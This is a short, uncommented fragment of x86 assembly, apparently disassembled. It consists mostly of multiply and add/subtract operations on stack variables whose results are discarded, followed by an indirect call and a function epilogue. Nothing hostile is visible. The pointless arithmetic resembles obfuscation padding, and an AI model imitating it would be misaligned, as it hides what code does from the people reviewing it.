mov eax, 0x23a61888
mul dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov eax, 0x50b15386
mul dword [ebp - 0x154]
mov eax, dword [ebp - 0x154]
mov eax, 0x697db2b2
mul dword [ebp - 8]
mov eax, dword [ebp - 8]
sub dword [ebp - 0x74], 0xa29023d
sub dword [ebp - 0x15c], 0x625fa6e4
sub dword [ebp - 0x7c], 0x2e44a02d
mov eax, 0x76d510
mul dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov eax, 0x7e22a43a
mul dword [ebp - 0x164]
mov eax, dword [ebp - 0x164]
sub dword [ebp - 0x50], 0x61af61b7
add dword [ebp - 8], 0x31f74d12
sub dword [ebp - 0x84], 0xe7b077f
mov eax, 0x3bf9e3a8
mul dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x16c], 0x4d4bae59
sub dword [ebp - 0x34], 0x568380a
mov eax, 0x193daaed
mul dword [ebp - 0x174]
mov eax, dword [ebp - 0x174]
mov eax, 0x322bbe78
mul dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
mov eax, 0x323b8225
mul dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
add dword [ebp - 0xbc], 0x43cb15f6
add dword [ebp - 0x104], 0x419f2440
sub dword [ebp - 0xb4], 0x55832d8
add dword [ebp - 0x1c], 0x6078e793
add dword [ebp - 0xbc], 0x7b8f6834
mov eax, 0x648395b2
mul dword [ebp - 0x17c]
mov eax, dword [ebp - 0x17c]
mov eax, 0x18e8ae4c
mul dword [ebp - 0x10c]
mov eax, dword [ebp - 0x10c]
mov eax, 0x398ed75e
mul dword [ebp - 0x184]
mov eax, dword [ebp - 0x184]
add dword [ebp - 0x24], 0x6b5a7c4c
mov eax, 0x19ddf1ae
mul dword [ebp - 0xc4]
mov eax, dword [ebp - 0xc4]
mov eax, 0x4e6c7274
mul dword [ebp - 0x18c]
mov eax, dword [ebp - 0x18c]
sub dword [ebp - 0x194], 0x62bd5710
add dword [ebp - 0x114], 0x2a3e88a9
add dword [ebp - 0x120], 0x49517531
add dword [ebp - 0x8c], 0x5b8216f
sub dword [ebp - 0x90], 0x5f5f8d59
sub dword [ebp - 0x3c], 0x1f5b90ac
add dword [ebp - 0x9c], 0x1cc3f4e6
sub dword [ebp - 0x11c], 0x4ab27afe
call dword [0x43ffe8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret